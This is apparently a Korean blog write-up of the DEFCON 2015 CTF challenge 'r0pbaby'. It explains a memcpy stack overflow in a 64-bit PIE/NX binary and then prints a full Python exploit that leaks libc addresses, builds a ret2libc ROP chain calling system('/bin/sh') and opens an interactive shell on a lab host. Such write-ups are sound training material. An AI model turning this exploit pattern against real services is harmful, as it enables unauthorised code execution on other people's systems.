본문 바로가기

ctf

[DEFCON 2015 CTF] r0pbaby

# file r0pbaby

r0pbaby: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

64비트 바이너리로 PIE 기법과 NX 기법이 걸려있다.

 

딱히 분석하는데 어려움은 없이 간단한 프로그램이다.

프로그램을 실행했을 때, 라이브러리 주소와 내가 원하는 주소를 바로 얻을 수 있다.

 

취약점은 위 그림에서 터지는데.. 프로그램에서 사용자가 원하는만큼 입력을 받고 그 크기가 1023 보다 작다면 memcpy 함수를 이용해 &savedregs 영역에 입력받은 내용을 복사한다.

이 때 &savedregs 는 $rbp 에 해당하는 부분으로 16byte 만큼 입력한다면 바로 다음 RET 주소까지 컨트롤 할 수 있게 된다.

 

-> 64bit 에서는 인자를 rdi -> rsi -> rdx ... 순으로 참조한다.

 

- - - - - - - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - - - - - - - -

from struct import *
from telnetlib import *
from socket import *
import time
import hexdump


p = lambda x : pack("<Q", x)


def get_libc():

print r.recv(1024)

r.send('1\n')
time.sleep(0.3)
data = r.recv(1024)

print data
time.sleep(0.3)

libc_addr = int(data[13:29], 16)
 
 

def get_system():

global system_libc
global pop_rdi_ret
global _bin_sh
 
r.send('2\n')
print r.recv(1024)
 
r.send('system\n')
time.sleep(0.3)
data1 = r.recv(1024)

print data1
time.sleep(0.3)

system_libc = int(data1[18:34], 16)

_libc_base_addr = system_libc - system_offset
 
pop_rdi_ret = _libc_base_addr + pop_rdi_ret_offset
 
_bin_sh = _libc_base_addr + _bin_sh_offset


 

def exploit():

payload = "A" * 8
payload += p(pop_rdi_ret) + p(_bin_sh) + p(system_libc)
 
r.send('3\n')
print r.recv(1024)

r.send('32\n')
r.send(payload + '\n')

time.sleep(0.3)
print r.recv(1024)

r.send('4\n')

t = Telnet()
t.sock = r 
 
t.interact() 


if __name__ == "__main__":

r = socket(AF_INET, SOCK_STREAM)
r.connect(('192.168.127.163', 8888))

 

# offset

pop_rdi_ret_offset = 0x22b31

_bin_sh_offset = 0x17ccdb

system_offset = 0x46640

 

 # exploit
 
 get_libc()

 get_system()

 exploit()

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 

'ctf' 카테고리의 다른 글

[pwnable.kr] simple_login  (0) 2017.01.08
[Plaid CTF 2013] pork  (0) 2017.01.06
[CodeGate 2016 CTF] BugBug  (0) 2017.01.04
[CodeGate 2016 CTF] Fl0ppy  (0) 2016.12.21
[HolyShield 2016 CTF] pwnit  (0) 2016.12.19